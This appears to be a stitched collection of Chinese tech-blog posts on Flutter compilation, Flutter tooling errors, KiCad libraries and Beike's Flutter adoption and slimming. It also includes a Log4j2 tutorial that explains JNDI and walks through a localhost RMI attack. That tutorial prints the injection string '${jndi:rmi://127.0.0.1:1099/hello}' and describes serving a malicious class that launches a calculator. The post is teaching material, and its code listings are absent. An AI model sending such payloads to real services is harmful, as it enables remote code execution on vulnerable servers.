Flutter的编译模式

原文

使用过 Flutter 构建 APP 的人可能有个疑惑,Flutter 的编译产物有时候是一个共享库,有时候是几个文件,比较难于理解,本文主要介绍 Flutter 中的编译模式。

编译模式分类

源代码需要编译才能运行,一般来讲编译模式分为 JIT 和 AOT 两大类

JIT

全称为 Just In Time(即时编译),比较典型的就是 V8 JS引擎,它能够即时的编译和运行 JavaScript 代码。你只要输入 JavaScript 的字符串源码,V8 就能编译和运行这段代码。通常来说,支持 JIT 的语言一般能够支持自省函数(eval),在运行时动态的执行源码。

所以 JIT 模式有个显然的优点,你可以直接将代码分发给用户,而不用考虑用的机器架构。有这个,就可以为用户提供丰富和动态的内容。

但缺点也是比较明显的,大量的字符串源码,将花费 JIT 编译器大量的时间和内存来编译和执行,会让用户感觉应用启动缓慢。

AOT

全称为 Ahead Of Time(事前编译), 典型的例子就是像 C/C++ 需要被编译成特殊的二进制,才可以通过进程加载和运行。

AOT 的优势就是速度快,通过事先编译好的二进制代码,加载和执行的速度都会非常快,在密集计算或者图形渲染的场景下能够获得比较好的用户体验。

但 AOT 也有一些缺点,编译源代码的时候,需要注意用户的设备架构。对于不同的构架需要生成不同的二进制代码,也就会增加应用需要下载的程序包大小。而且二进制代码需要获得执行权限,所以无法在权限比较严格的系统(比如iOS)中动态更新。

Dart 的编译模式

Flutter 使用 Dart 作为开发语言,自然和 Dart 的编译模式脱离不了关系,所以我们先来看一下 Dart 的编译模式。

Script: 最常见的 JIT 模式,就像 Node.js 那样,可以在命令行直接执行 Dart 源代码

Script Snapshot: 不同于 Script 模式,Script Snapshot 模式载入的是已经 token 化的 dart 源码,提前做了编译期间的 Lexer 步骤, 也是属于 JIT 模式

Application Snapshot: JIT 模式,这种模式来源于 dart vm直接载入源码后 dump 出数据。dart vm 通过这种数据启动会更快。不过这种模式是区分架构的,在 X64 下生成的无法给 IA_32 用

AOT: AOT 模式,dart 源代码会被编译成汇编文件,汇编再经过汇编器生成不同架构下的二进制代码

用表格总结一下:

Dart’s compilation patterns
Dart’s compilation patterns

Flutter 的编译模式

Flutter 程序完全用 Dart, 理论上 Flutter 的编译模式应该和 Dart 的一致,事实上因为 Android 和 iOS 生态的差异,Flutter 衍生了不同的编译模式。

Script: 和 Dart 的 Script 模式一样,但是没有开启使用

Script Snapshot: 也是和 Dart 的 Script Snapshot 模式一样,也没有开启使用

Kernel Snapshot: Dart 的 bytecode 模式,在某种程度上类似 JVM。在 Flutter 项目中也被叫做 Core Snapshot,它是和设备架构无关的

Core JIT: 一种编译后的二进制格式,程序的数据和指令被打包成特殊的二进制,在运行时加载。事实上Core JIT 也被叫做 AOT Blobs, 是 AOT 的一种

AOT Assembly: 和 Dart 的 AOT 模式一样

所以在 Flutter 里会更复杂一点,我们结合 Flutter 的各个开发阶段来解读一下。

开发阶段

开发 Flutter APP 的时候,我们需要 HOT Reload 方便 UI 快速成型,同时也需要比较高的性能来进行视图渲染,所以 Flutter 在 Debug 下使用了 Kernel Snapshot 编译模式,会生成如下产物:

isolate_snapshot_data: 加速 isolate 启动的数据,和业务无关

vm_snapshot_data加速 Dart VM 启动的数据,和业务无关

kernel_blob.bin业务代码产物

compilation mode in debug stage
compilation mode in debug stage

发布阶段

在生产阶段,应用需要非常快的速度。所以 Flutter 使用了 AOT 编译模式,但是在不同的平台下,还是有些不一样的

compilation patterns in release stage
compilation patterns in release stage

在 iOS 平台由于 App Store 审核条例不允许动态下发可执行二进制代码,所以在 iOS 上,除了 JavaScript,其他语言都使用 AOT 编译。

但是在 Android 平台上,Core JIT 和 AOT Assembly 都支持了,在 Core JIT 模式下会生成四个产物:isolate_snapshot_data/vm_snapshot_data/isolate_snapshot_instr/vm_snapshot_instr

vm_snapshot_instr 和 isolate_snapshot_instr 是 Dart VM 和 isolate 的指令,在载入后,直接将该块内存执行即可。

isolate_snapshot_data 和 vm_snapshot_data 是 Dart VM 和 isolate 的启动数据,主要是为了加速启动速度。

Flutter Engine 支持情况

Flutter Engine 包含了 Dart 的运行时,Flutter 应用的编译产物必须和 Engine 匹配才行,Engine 在不同的阶段提供了不同的支持

通过 gen_snapshot -h 也可以查看到,Engine 对编译模式的支持,事实上 Dart 源码就是经过 gen_snapshot 去处理的。

AOT snapshots 也可以使用 obfuscated 选项开启混淆, --save-obfuscation-map=<filename> 保存符号 mapping 文件。

参考链接


macOS Big Sur(11.6.2) Android Studio (version 2020.3) 执行 flutter doctor 报错

在执行 flutter doctor --android-licenses 的时候报错:

原因为 Java 版本太高,Flutter 1.22.5 只能使用 Java 1.8版本:

对于错误

原因:

Android Studio(4.1)后,安装插件的位置发生了变化,但是flutter doctor还是去原先的位置找,导致的安装过插件还报错。

解决方法:

更简单的方式是执行

升级到 flutter 2.8.1 以及之后的版本即可。

参考链接


Log4j史诗级漏洞,从原理到实战,只用3个实例就搞明白!

背景

最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。

经常看我文章的朋友都知道,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大概你也已经听说了,造成漏洞的”罪魁祸首“是JNDI,今天我们就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是个什么鬼?好吧,如果你已经有一两年的编程经验,但还不了解JNDI,甚至没听说过。那么,要么赶紧换工作,要么赶紧读读这篇文章。

JNDI是个什么鬼?

说起JNDI,从事Java EE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官方的解释:

Java命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从Java应用程序中访问名称和目录服务的一组API。命名服务即将名称与对象相关联,以便能通过相应名称访问这些对象。而目录服务即其对象具有属性及名称的命名服务。

命名或目录服务允许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它可以使这类应用程序更加一致和易于管理。例如,可以将打印机配置存储在目录服务中,这样所有与打印机相关的应用程序都能够使用它。

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

naming_service
naming_service

看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,Naming Service这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。

总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。

最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。

命名服务与目录服务的区别

命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domain naming service,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。

目录服务是对命名服务的扩展,是一种特殊的命名服务,提供了属性与对象的关联和查找。一个目录服务通常拥有一个命名服务(但是一个命名服务不必具有一个目录服务)。比如电话簿就是一个典型的目录服务,一般先在电话簿里找到相关的人名,再找到这个人的电话号码。

目录服务允许属性(比如用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,使用目录服务时,可以基于对象的属性来搜索它们。

JNDI架构分层

JNDI通常分为三层:

  • JNDI API:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是我们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的方法上。

整体架构分层如下图:

JNDI架构
JNDI架构

需要注意的是:JNDI同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDI SPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDI SPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

JNDI的应用

下面再了解一下JNDI容器的概念及应用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。

容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。

jndi-context-tree
jndi-context-tree

JNDI 应用

JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。

关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

JNDI-Tree
JNDI-Tree

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI将一些关键信息放到内存中,可以提高访问效率;通过 JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。

JNDI实战

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。

基于RMI的实现

RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

可以通过如下代码来搭建一个RMI服务:

上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

下面构建客户端访问:

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。

构建攻击

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference。

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。

基本流程如下:

RMI攻击流程
RMI攻击流程

修改RmiServer的代码实现:

由于采用的Java版本较高,需先将系统变量com.sun.jndi.rmi.object.trustURLCodebase设置为true。

其中绑定的Reference涉及三个变量:

  • className:远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载;
  • classFactory:远程的工厂类;
  • classFactoryLocation:工厂类加载的地址,可以是file://、ftp://、http:// 等协议;

此时,通过Python启动一个简单的HTTP监听服务:

打印日志,说明在8000端口进行了http的监听。

对应的客户端代码修改为如下:

执行,客户端代码,发现Python监听的服务打印如下:

可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。

进一步改造

上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和Spring Boot Web服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。

上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类BugFinder,用于启动本地的计算器:

本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻击类文件。这里采用Spring Boot项目,核心实现代码如下:

在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。

第三步:修改RmiServer

对RmiServer的绑定做一个修改:

这里Reference传入的参数就是攻击类及远程下载的Web地址。

第四步:执行客户端代码

执行客户端代码进行访问:

本地计算器被打开:

RMI Client
RMI Client

基于Log4j2的攻击

上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。

在Spring Boot项目中引入了log4j2的受影响版本:

这里需要注意,先排除掉Spring Boot默认的日志,否则可能无法复现Bug。

修改一下RMI的Server代码:

这里直接访问BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,然后记录日志:

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在Spring Boot中定义如下代码:

在浏览器中请求URL为:

其中username参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”经过URLEncoder#encode编码之后的值。此时,访问该URL地址,同样可以将打开计算器。

至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。

小结

本篇文章通过对Log4j2漏洞的分析,不仅带大家了解了JNDI的基础知识,而且完美重现了一次基于JNDI的工具。本文涉及到的代码都是本人亲自实验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻击逻辑。

JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。

另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。

参考链接


KiCad封装/元件库(footprint)

在使用KiCAD的时候,如果官方自带的封装库(footprint)缺少元器件的封装,我们可以在一些第三方库中查找。

In addition to the official KiCad libraries, there are other, third party sources for KiCad library packages.

While the following links may be useful sources of library packages, they are not maintained or endorsed by the KiCad project.

Digi-Key

Digi-Key maintains an atomic parts library for KiCad on their GitHub page. These libraries are licensed under an agreement similar to the official libraries.

Octopart

Octopart provides individual KiCad symbols and footprints for many components in their extensive library of components.

SparkFun

SparkFun Electronics provide KiCad library files for many of their products on their GitHub page. These libraries are based on the SparkFun Eagle libraries.

SnapEDA

SnapEDA provides KiCad symbol and footprint libraries for their customers. The libraries are freely available and can be found on their KiCad library page. The library license can be found on their terms of service page.

PCB Libraries

PCB Libraries offers their Professional Edition PCB Footprint Expert product to KiCad users for no cost. Instructions for setting up the Professional Edition license key are available in their documentation.

嘉立创/立创商城KiCad元件库

https://github.com/xtoolbox/lc_kicad_lib

参考链接


贝壳跨端之路——从 0 到 1 接入 Flutter 实战

一门新技术的兴起,必定是为了要解决现有技术解决不了的难题。跨端技术也遵循这一规律。传统的纯原生开发已经满足不了日益增长的业务需求,而跨端技术的产生就是为了要解决这一难题,具体表现在动态化内容需求增大和业务需求变化快、开发成本变大这两大方面。

跨端技术的变革

跨端最开始起源于浏览器。在 App 内使用 Native 的 Webview 来加载 Html5 页面,这是移动端最开始的跨端实践。接着,为了使 Html5 页面能够更多地使用底层 SDK 或者补充性功能,Hybird 开始流行起来。此后,各种各样的跨端框架也随之流行而来, 例如 PhoneGap、AppCan。

2015 年 4 月,Facebook 发布了 React Native,主张“Learn once, write everywhere”,采用 Javascript 开发 + 原生渲染技术,类似的还有 Weex 和快应用。同年 Flutter 也发布了,不过当时关注的人较少,直到 2018 年的 1.0 版本发布,关注和使用的人才多了起来。

贝壳决定建设跨端能力

2018 年,由于贝壳公司内部业务发展较快、需求较多,贝壳开始做平台化能力建设,但因缺乏跨端能力,贝壳开始考虑跨端能力方面的建设。综合了团队构成、业务特点、团队经验以及业界的动态等因素,贝壳成立了 Flutter 架构小组(以下统称小组)。

之后,赵宏伟带着小组成员开启了贝壳跨端探索之旅。那么在这场旅途中,贝壳在接入 Flutter 的过程中都进行了哪些探索呢?为此,InfoQ 邀请到了 Flutter 架构小组负责人赵宏伟以及小组成员肖鹏、裴伟来跟大家一起聊聊贝壳的 Flutter 接入实践。

相比其他跨端框架,Flutter 虽有一定的优势,但刚开始,贝壳并没有直接就选用 Flutter。

“当时组内准备考虑一些跨平台的方案做一些小的尝试和调研。后来,到 2018 年底,Flutter1.0 发布,小组开始对跨端方案进行了深度调研。起初,组内是对 RN 和 Flutter 做调研,FE 团队(贝壳前端团队)负责 Weex 的调研和使用。”赵宏伟回忆到。

经过调研之后,Flutter 架构小组首先放弃了 RN。原因如下:

1.渲染通信路径长。React Native 的逻辑层和 UI 的描述层都在 js;

2.React Native 跨端技术的实现思路是适配,两个移动端(iOS 和 Android)仍然存在很多组件差异;

3.React Native 的页面层级问题;

4.动态化需求不多;

5.有一些公司宣布放弃 React Native,以及 React 许可的一些问题,不确定性较多。

对于 Weex,贝壳前端同学在某些业务上做了部分实验,得到的结论是「效果一般」,没有对他们整个前端的行为有多大改变,因此也放弃了 Weex。而对于 Flutter,首先 Flutter 主打的自渲染,UI 到逻辑都是自身一套;其次 Flutter 基于对应平台独立编译,更适合对应平台的运行,并且支持多平台;最后,Flutter 支持 JIT 和 UT 模式,既能兼顾开发效率,也能兼顾运营效率。

基于以上调研与考虑,贝壳最终选择了 Flutter。

选定跨端框架,接下来就是为接入做准备了。我们了解到贝壳在接入 Flutter 的过程中,整个项目经历了 3 个阶段。

正式开启跨端之旅

据赵宏伟透露,第一个阶段他们的目标是快速落地验证。在此阶段中,他们也遇到了两个难题。第一是如何保证既能进行 Flutter 开发,又不影响非 Flutter 开发人员,并且官方的既有工程集成方案对他们的工程侵入性较大,如果按照最原始的方式打包效率也比较低,因此他们设计了自己的集成方案; 第二是 Flutter 层面需要组件化,小组内部也设计了组件化方案来解决快速落地问题。

在以上问题得到解决之后,他们在部分业务进行快速实验,“当时的业务场景下反馈还不错。”赵宏伟说。接下来就来到第二阶段。在这一阶段中,他们更全面注重开发和用户体验。因此,他们将建设分为了三部分。

第一部分是 Flutter 在持续集成方面建设;

第二部分是业务开发核心基础库能力建设(标准化);

第三部分是容灾降级及稳定性方面的建设。

完成了以上三部分的建设,项目就到了第三阶段,贝壳 Flutter 架构组开始进行多端一体化能力建设。2020 年,小组针对 Flutter for web 做了一些研究,并做出了贝壳 Flutter For web 的容灾降级系统。

“今年(2021 年)我们一直在研究 Flutter 多端一体化方案, 官方也在 2.0 中主推了 web 方向的应用,目前主要是在优化 Flutter For web 的应用体验,包括加载和部署优化,内存优化,三端一体化的核心基础补充以及监控埋点能力补充。我们内部的监控系统一部分 Web 页面也是使用 Flutter 来开发的。”赵宏伟说。

截止到采访时,贝壳 80%(24 款)的 App 已经接入了 Flutter。

当提到这么多 App 接入 Flutter 之后带给贝壳的收益时,赵宏伟兴奋地说:“效率,这个是我们最直观的感觉,整个 2020 年贝壳所有业务线都参与过 Flutter,一致的感受都是效率,以前两个人开发,现在一个人就可以完成。”

除了最直观的效率上的提升,贝壳还做了一整套的标准化 UI 组件(UI 组件 160+,业务组件 30+),这是属于他们的技术创新。并且参与此项目的成员在 Flutter 容器、Aop 编译、监控、UI 自动化和动态化等相关研究中还积累了大量的技术经验,进一步提升了个人技术能力。此外,据小组成员萧鹏描述,他们还将这些 UI 自动化的创新技术整理成文章进行了输出,把创新技术分享给更多有需要的开发者们。

Flutter 的成功接入,虽然让贝壳在跨端能力方面的建设得到了很大的提升,但有些问题,目前小组仍没有较好的解决方案,首先就是内存问题。当提到内存时,赵宏伟略显苦恼。“除了容器自身的内存,还有图片的一些边界场景和释放,以及一些三方图片库存在图片释放和图片过大的 Crash 问题。”赵宏伟说。

针对这一问题,贝壳采用了共享引擎和图片纹理方案来管理 Flutter 图片缓存,虽然得到了很大的改善,但当业务场景中出现多容器时,容器消耗内存仍然不小。再者是 Platform View 和渲染问题,Flutter 在 Platform View 上有一部分内存和适配问题。据了解,这些问题需要深入到引擎内部,更改成本较高,贝壳便没有过多的干预,而是选择了积极适配新版。最后是动态化问题,在 iOS 侧,小组内部没有比较好的动态化方案,目前只保证维护好性能和低成本。

除了以上的一些问题,据赵宏伟透露,贝壳在引入 Flutter 之后,还产生了一些新问题。主要体现在以下几点:

一、集成问题

首先是在第一阶段的集成方案不够完善,RD 反馈调试较为困难,QA 反馈打包时间长,错误率高。其次是配置问题,因小组内部在 Flutter SDK 上做了定制,所以配置起来就比较困难;再加上多个项目的 Flutter SDK 版本不一致,开发人员需要手动组合 Flutter tools 和 Flutter SDK,这一过程增加了成本;还有在打包的时候,需要先将项目在制定打包机上打包,再在主包上打包,这个时间就比较长。于是,他们就重新做了一版集成方案,并开发了 Flutter SDK 自动化集成更新方案,目前在 Flutter、Dart 编译部分就如同一个 target 任务,和其他代码一起进行并发编译,大大提高了效率。

二、包大小问题

在 C 端落地时候,贝壳更加关注包大小。贝壳当时接入的 Flutter1.12.13,其包大小一度达到 30MB,业务方紧急要求瘦身,因此 Flutter 架构小组通过改造 Flutter 编译器以及 Flutter Engine 对 Flutter 产物数据段做了分离压缩,可以内置,可以远程下发,并去掉符号表和无用文件,将包体积从 30MB 缩小到 17MB。在后续的规划中,赵宏伟说:“我们会结合 Flutter for Web 方案,在远程下发失败后动态转到 for Web 页面,提高页面打开成功率,保证业务正常流转。”

当在使用 Flutter for Web 时,Flutter 会将所有的业务打包成一个整包,但对于单独访问一个页面的场景,加载就会比较慢,为解决这一问题,小组对整个包进行了拆分,并把资源上传到 CDN 来解决加载问题。

三、异常监控问题

在做异常监控时,在瘦身模式下,获取的堆栈是没有办法被解析的,很多都是系统堆栈问题,没有办法进一步解决,并且很多都是没用的堆栈,无法将问题细致化。针对这一问题,贝壳做了一套后端的分流解析服务。这套服务首先是将 Flutter Exception 进行符号化,然后对堆栈进行分析,去掉无用和白名单内的堆栈行后进行归因,如果归不到业务方,再采取页面分流的方式,来达到异常监控的效果。

四、图片导致的内存问题

Flutter 本身内存方面消耗比较严重,而自己又是一套独立的图片缓存,因此,在大图片场景下,加上 Native 的图片内存占用,整体图片导致的内存问题比较多。面对这一问题,贝壳采用了外接纹理方案,让 Flutter 和 Native 共享一份图片缓存,以及在大图场景下使用外接纹理方案进行边界处理,这对内存都做了比较好的优化。

除了以上的一些问题,还有一个比较大的挑战。“在引入 Flutter 之后,当面对产品经理的提出的一些交互效果,Flutter 本身技术能力又无法支持时,就需要小组内部去找其他的解决方案来解决,可能会考虑原生,或同时使用原生安卓来做。”小组成员裴伟补充道。

虽然产生了以上这些新问题,但好在小组内部也提出了相应的解决方案。同时,贝壳也一直在寻找更优的解决方法。

贝壳 Flutter 的成功接入也让贝壳开发团队的开发效率得到了跨级别的提升。但在此过程中,贝壳也遭遇到过一个“灵魂拷问”—— 效率 or 体验?

一个永恒的话题—— 要效率,还是要体验?

 一款产品,一个 App 被生产出来,就一定是为了满足用户的某种需求,被人们使用的,因此用户体验要好。而对一个公司而言,一个高效率的组织形式也非常重要,高效的开发可为公司解决人力、财力等各方面的问题。当问到在接入 Flutter 的过程中,贝壳是如何权衡效率和体验的问题时,赵宏伟的回答是比较明确的。

“像直播、视频、地图这一类的,不建议使用 Flutter,其他的在使用 Flutter 时,该提效的就提效,该注重体验就注重体验。当然每个 App 也有自己的着重方向,要根据自己的场景去舍弃效率或者体验。”赵宏伟表示。

在面对贝壳的业务场景时,贝壳引入 Flutter 的关键目标就是要解决开发效率问题。因此,为了进一步提高开发效率,贝壳也做了接下来的打算。首先是研究多端一体化,即将 Flutter 能够应用到 web 上,包括加载、部署优化、内存优化,以及三端一体化的核心基础补充和监控埋点能力补充。目前也在研究中。

其次是在应用上,贝壳内部会有一些 Native 和 Html5 的业务要做。Html5 主要面向站外,贝壳希望能够用一套代码解决三端需求,这样提效会更进一步。赵宏伟接着说:“我们可能会考虑 Flutter 在 VR 渲染上的一些应用,不过目前还在设想阶段。”

除此之外,贝壳对新的 OS,比如 鸿蒙,在兼容模式下也做了适配,并开始着手做了一些准备。“当然也要配合公司的产品策略,是否大范围的适配跟进。”赵宏伟补充到。

写在最后

本次的 Flutter 接入实战,不仅解决了贝壳的“效率提升”问题,还见证了贝壳从 0 到 1 的跨端能力建设。从最初不够完善的基础建设,到引入 Flutter 过程中所遇到的各种困难,贝壳都在实践过程中努力寻找解决方案并构建了一些属于贝壳的创新技术。

参考链接


贝壳Flutter瘦身实践

开源地址

背景

贝壳找房内部大部分的 App 都已经接入了 Flutter,而且公司在跨端方案的选择上在大力发展 Flutter 生态体系,越来越多的团队也在使用 Flutter,Flutter 虽然能带来高人效和高性能的体验,同时也导致包体积增加,包体积的增加会给我们的推广增大难度,所以我们迫切需要一套针对 Flutter 的通用瘦身方案。

现状:

以一个空工程为例,Flutter 产物主要包含两部分,App.framework 和 Flutter.framework 这两个库,这两个库达到了 16M,对我们的包体积优化会带来不小的压力,所以我们立项了 Thin-Flutter 项目,主要是为了所有 App 提供一套 Flutter 通用的瘦身方案。(由于安卓侧有比较多的手段来实现瘦身,所以本篇文章主要针对 iOS)

对于包大小问题,Flutter 官方也在持续跟进优化:

  • Flutter V1.2 开始支持Android App Bundles,支持 Dynamic Module 下发。

  • Flutter V1.12 优化了2.6% Android 平台 Hello World App 大小(3.8M -> 3.7M)。

  • Flutter V1.17 通过优化Dart PC Offset存储以减少 StackMap 大小等多个手段,再次优化了产物大小,实现18.5%的缩减

  • Flutter V1.20 通过Icon font tree shaking移除未用到的 icon fonts,进一步优化了应用大小。

  • Flutter V2.2.2 并没有明显的措施

我们以贝壳 flutter 产物为例(Flutter SDK : 1.22.4)

App.framework 总大小 20.8M

Flutter.framework 总大小 7.7M

我们先来分析 Flutter 的产物构成,通过对编译命令优化后,产物如下(Release 模式):

App.framework:其中两个文件占比较大,一个是 App 可执行文件,另一个是 flutter_assets. App 可执行文件是 Dart 侧业务代码 AOT 编译的产物,会随着业务量的增多而变大,flutter_assets 包含图片、字体等资源文件。

Flutter.framework:  引擎产物,大小是固定的,但是初始占比比较大。这部分能优化的空间很小,主要是通过裁剪引擎不需要的功能,减少体积。编译引擎时可以选择性编译 skia 和 boringssl,收益大概只有几百 K。

经过对比,iOS 和 Flutter 代码量增长对于包体积的影响是有很大区别的,由于 Flutter 的 Tree Shaking 机制,未被引用的代码都会被裁剪掉,这个机制 iOS 里是没有的,那么这个机制所造成的影响就是 Flutter 包体积在初期会极速增加,到一个临界点包体积的增加会趋于平缓。

贝壳瘦身方案

一、方案调研:

包体积瘦身方法论,大概就三种,要么删减,要么压缩,要么挪走,对于删减 Flutter 自带有 tree-sharking 机制,也就是没有用到的代码会自动裁剪,所以删减不会有太明显的效果,对于压缩,各个团队都会不定时压缩图片,所以不能作为主方案,那么想要有明显的瘦身效果,最好的方面很明显是挪了。下面是一些常用的瘦身方案:

  • 通过打包命令删减

—split-debug-info 可以分离出 debug info

—strip 去除无用符号

—dwarf_stack_trace 表示在生成的动态库文件中,不使用堆栈跟踪符号

—obfuscate 表示混淆,通过减少变量名/方法名的方式减小代码体积

  • 减少显示类型转换操作

as  String/Bool 等等,这类操作会导致 App.framework 体积显著增加,主要是他会增加类型检测及抛出异常的处理逻辑。

  • Flutter 引擎删减及符号化分离

Flutter 引擎中包括了 Dart、skia、boringssl、icu、libpng 等多个模块,其中 Dart 和 skia 是必须的,其他模块如果用不到倒是可以考虑裁掉,能够带来几百 k 的瘦身收益。业务方可以根据业务诉求自定义裁剪。

  • 无用代码及无用资源删除

这个不用过多解释,这种直接删代码删资源的方案是最常见的,但投入回报比并不高。

除了给各个业务线分配瘦身指标之外,通过其他方式达到了非常不错的瘦身效果,主要包括以下几方面:

  1. 去除符号化文件

  2. Flutter 产物数据段及资源文件动态下发

  3. 其他方式:包括去除无用文件、无用资源等

二、具体实现:

贝壳希望有一套长期有效的瘦身方案,以及监控体系,所以贝壳的瘦身方案包括两方面,一是包大小分析及监控,二是通用的,对业务同学无感知的瘦身方案。

1.监控

为了让 Flutter 包大小结构更加一目了然,我们将 Flutter 包大小进行了线上可视化。

首先,我们对 flutter_tools 了修改,在打包过程中我们会收集各个 Flutter 组件中二进制和资源的大小并写入文件(这里的实现我们参考了 flutter_tools 中 analyze_size.dart 的代码),打包完成后会将包大小分析文件上传至服务器;然后,我们在后端对上传的包大小文件进行分析,并将各个组件对应到相应的业务线;最终,我们将分析过后的包大小文件在前端进行展示。除了展示各组件和业务线的大小之外,我们还提供了 Flutter 包大小的对比功能,这样就可以更清晰的看到各个组件和业务线的前后大小变化。

有了包大小的分析,我们就可以根据各业务线和组件的不同情况制定不同的瘦身目标。

与此同时,我们可以对包大小的变化有一个长期的监控,可以及时发觉增量大的组件或者业务方,及时做出调整。

